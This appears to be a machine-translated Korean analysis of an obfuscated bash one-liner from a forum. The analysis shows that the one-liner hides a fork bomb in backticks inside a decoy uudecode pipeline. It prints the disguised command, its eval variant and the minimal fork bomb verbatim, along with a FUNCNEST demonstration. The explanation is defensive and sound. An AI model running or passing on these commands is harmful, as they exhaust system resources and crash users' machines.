먼저 전체 명령을 살펴 보겠습니다.
echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
에 에코되는 큰 따옴표로 묶인 문자열을 포함합니다 uudecode
. 그러나 큰 따옴표로 묶인 문자열 내에는 따옴표 로 묶인 문자열이 있습니다. 이 문자열이 실행 됩니다. 문자열은 다음과 같습니다
`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`
내용을 보면 세 가지 명령이 표시됩니다.
rYWdl &
r()(Y29j & r{,3Rl7Ig} & r{,T31wo})
r
중간 명령에서 가새 확장 을 수행하면 다음과 같은 이점 이 있습니다.
rYWdl &
r()(Y29j & r r3Rl7Ig & r rT31wo)
r
첫 번째 줄은 백그라운드에서 넌센스 명령을 실행하려고 시도합니다. 이것은 중요하지 않습니다.
두 번째 행은 중요합니다. r
실행시 두 개의 자체 사본을 실행 하는 기능 을 정의 합니다. 물론 각각의 사본은 두 개의 사본을 추가로 시작합니다. 등등.
세 번째 줄이 실행 r
되면서 포크 폭탄이 시작 됩니다 .
백 따옴표로 묶인 문자열 외부의 나머지 코드는 난독 화에 대한 의미가 없습니다.
명령을 안전하게 실행하는 방법
함수 중첩 수준에 제한을 설정하면이 코드를 안전하게 실행할 수 있습니다. 이것은 bash FUNCNEST
변수 로 수행 할 수 있습니다 . 여기에 설정 2
하고 재귀를 중지합니다.
$ export FUNCNEST=2
$ echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
bash: rYWdl: command not found
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
uudecode fatal error:
standard input: Invalid or missing 'begin' line
(a) 무의미한 명령을 보여 위의 오류 메시지 rYWdl
와 Y29j
발견되지 않고, (b)는 포크 폭탄 반복 FUNCNEST, 및 (c)의 출력에 의해 구동되면 echo
시작하지 않고 begin
, 결과적으로,와는 유효 입력 아니다 uudecode
.
가장 간단한 형태의 포크 폭탄
가려진 부분을 제거하면 포크 폭탄은 어떻게 생겼습니까? njzk2와 gerrit가 제안했듯이 다음과 같습니다.
echo "`r()(r&r);r`"
우리는 그것을 더 단순화 할 수 있습니다 :
r()(r&r); r
이것은 두 가지 진술로 구성됩니다. 하나는 포크 폭탄 기능을 정의 r
하고 두 번째는 실행 r
합니다.
에 대한 파이프를 포함한 다른 모든 코드 uudecode
는 가려 짐과 오해의 여지가 있습니다.
원래의 형태에는 또 다른 잘못된 방향의 층이 있었다
OP는 이 코드가 나온 chann board 토론에 대한 링크 를 제공 했습니다. 제시된대로 코드는 다음과 같습니다.
eval $(echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode)
이 코드에 대한 첫 번째 주석 중 하나에 주목하십시오.
나는 그것을 위해 떨어졌다. 반향 및 디코딩되는 부분 만 복사했지만 여전히 폭격당했습니다.
chann 보드의 양식에서 문제는 eval
의 출력에서 작동 하는 문 이라고 순진하게 생각할 것 입니다 uudecode
. 제거 eval
하면 문제가 해결 될 것이라고 생각하게 됩니다. 위에서 보았 듯이, 이것은 거짓이며 위험합니다.